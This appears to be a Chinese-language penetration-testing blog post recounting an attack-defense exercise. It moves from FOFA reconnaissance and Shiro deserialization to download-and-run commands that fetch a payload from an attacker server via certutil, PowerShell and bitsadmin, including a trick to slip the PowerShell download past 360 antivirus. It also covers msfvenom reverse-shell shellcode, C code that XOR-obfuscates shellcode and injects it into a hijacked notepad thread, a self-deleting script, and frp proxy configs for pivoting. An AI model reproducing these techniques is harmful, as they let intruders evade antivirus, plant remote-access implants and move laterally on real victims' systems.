现在我依稀记得大家在9月25日晚集体过年的场景,没想到的是:那tm只是开始 这一段时间一直在打攻防,重复、单调、无长进,希望早日脱离苦海吧
下面以攻防过程中的一段经历来展现一些有意思的tips
0x01 信息收集
关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点
fofa
- domain="baidu.com"
- host="baidu.com"
- title="baidu"
- title="百度"
- title="百度一下,你就知道"
- body="(京)-经营性-2017-0020"
- body="京公网安备11000002000001号"
- body="京ICP证030173号"
- icon_hash="-1507567067"
- cert="baidu.com"
组合起来就是:
- (host="baidu.com" || domain="baidu.com" || title="baidu" || title="百度" || title="百度一下,你就知道" || body="(京)-经营性-2017-0020" || body="京公网安备11000002000001号" || body="京ICP证030173号" || icon_hash="-1507567067" || cert="baidu.com") && country="CN" && region!="HK" && region!="TW"
导出结果可以使用fofa客户端
子域名挖掘
- OneforAll
- subDomainsBrute
- theHarvester
邮箱
- Google
- site:github.com @baidu.com
- theHarvester
- 挂代理
0x02 资产梳理
goby 内测版
- 安装好插件
- 勾选 upnp等协议的发现
- 给定的全部端口
Nmap 辅助
- -sV
- -O
- --script=banner,vuln,exploit,brute
0x03 摸点
- 网络设备、安全设备的默认口令
- Weblogic、Struts2 远程代码执行
- tomcat 默认口令
- shiro 反序列化
这次的目标就是从 shiro 默认key 反序列化开始的
默认key,使用 CommonsCollections10 测试是否出网
稳了呀!
0x04 getshell
下马,上线
代码语言:javascript复制certutil -urlcache -split -f http://xx.xx.xx.xx/robots.txt C:Usersadmina.exe && C:Usersadmina.exe
在cs上等了很久也没有等到上线,到vps上一看,发现目标并没有发起下载请求,心中暗叫一声不好,估计有edr
tasklist 看一下
果然,有360,这个时候就需要考虑两件事了
- 下载动作需要免杀
- 木马需要免杀
360 是出了名的疯, 起个powershell,vbs没干啥就会拦截
但是,作为一个怀旧(啥也不会)的人,我还是打算把之前的方法试一试
- powershell
powershell (new-object System.Net.WebClient).DownloadFile(' http://xx.xx.xx.xx/robots.txt','C:Usersadmina.exe');start-process 'C:Usersadmina.exe'
- bitsadmin
bitsadmin /transfer n http://xx.xx.xx.xx/robots.txt C:Usersadmina.exe && C:Usersadmina.exe
还有很多,具体参照下面这篇文章
https://xz.aliyun.com/t/1649#toc-5
但是无一意外的被360干掉,没招了,只能自力更生了
接下来就是本文的重点了
powershell
正常的powershell下载文件确实会被干掉:
但是可以通过
代码语言:javascript复制echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -
来进行绕过:
但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:
certutil
如果目标机器较老,很可能不存在powershell,此时就需要使用一些老方法,即certutil
certutil绕过360的方式网上已经有了(记一次渗透测试后引发的小扩展),
这里再提一个certutil编码解码。
windows不像linux,自带base64编码解码,但是 certutil 可以
代码语言:javascript复制certutil -encode x.exe x.txt
certutil -decode x.txt x.exe
通过编码指令将exe编码生成txt文件,然后通过 echo 写入,再调用 certutil 解码还原为PE文件
但是此时还有一个问题,就是echo无法一次性写入,需要换行,但是马编码后太长,所以不太方便。
暂时想到两个解决办法:
- python脚本边读本地txt边echo到对方服务器
- 写一个小程序,作用是在当前目录输出txt,再通过压缩的方式压缩程序大小,再通过certutil编码写入解码执行
木马免杀
解决了下载问题,接下来就是木马免杀,这次我就不再怀旧了,毕竟也没啥用,直接上部分干货吧
用c写木马,一般绕不过两个问题:
- shellcode编码免杀
- shellcode加载方式免杀
单纯使用metaslpoit生成shellcode:
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.93 LPORT=1234 -f c > ~/Desktop/text.c
不管使用什么加载方式,如果只是单纯的加载这种shellcode,是一定会被杀毒软件查杀的,网上有人提出用msfvenom自带的编码器编码,我尝试了一下,仍然会被火绒kill,所以这里可以自己去编码:
代码语言:javascript复制 int key = 0x1a;
unsigned char shellcode[sizeof(buf)] = "";
for (int i = 0; i < sizeof(buf) - 1; i )
{
shellcode[i] = (buf[i] ^ key) - 0x4;
}
就这样一个很简单的异或 减去一个随机字符,就可以绕过杀软对shellcode 的静态查杀,当然木马也需要进行相应的解码。
shellcode加载方式现在也有很多,传统的方法是开辟一块地址空间存放shellcode,并将EIP/RIP指向该地址。
我这里选择线程注入的方式来做到隐蔽和免杀。
使用
代码语言:javascript复制CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
创建notepad进程,然后开辟一块Buffer,将 shellcode 写入 buffer,再使用
代码语言:javascript复制GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBuffer;
开辟一块线程并将 rip 指向buffer,就可执行对应的shellcode。通过此方法即可做到免杀,且进程为notepad,隐蔽性极强:
这里再提一个隐蔽的tips,就是自删除,我采用的方式是bat 自解压(自解压的详细操作在phishing中),这里附上bat脚本:
代码语言:javascript复制@ECHO OFF
set a=y.exe rem 定义a为马的名称
set b="�%%a%" rem 定义b为马的路径
del /f /a /q %sfxcmd% rem 删除自解压程序
del /f /a /q %b% rem 删除马
del /f /a /q %0% rem 删除bat自身
0x05 内网渗透
我对于攻防比赛中的内网渗透是及其反感的,迫于得分,所以不得不去做一些体力活,但是这种东西做的再多也没有意义
frp 设置socks5代理并进行端口映射
公网vps frps.ini
代码语言:javascript复制[common]
bind_addr =0.0.0.0
bind_port =7000
token = 9iathybNR7KL7EHd
目标主机 frpc.ini
代码语言:javascript复制[common]
server_addr =VPS_IP
server_port =7000
token = 9iathybNR7KL7EHd
[socks_proxy]
type = tcp
remote_port =8010
plugin = socks5
开启socks并映射端口
代码语言:javascript复制frpc.exe -c frpc.ini
永恒之蓝扫描
https://www.maritimecybersecurity.center/exploiting-windows-with-eternalblue-and-doublepulsar-with-metasploit/
mimikatz 抓明文密码&用密码撞库
这里附上之前的文章
弱口令
域控
- ms14-068
- Netlogon 特权提升漏洞(CVE-2020-1472)
就写到这吧,剩下的垃圾套路丢不起那人,大家把重点放在绕360下载和木马免杀就好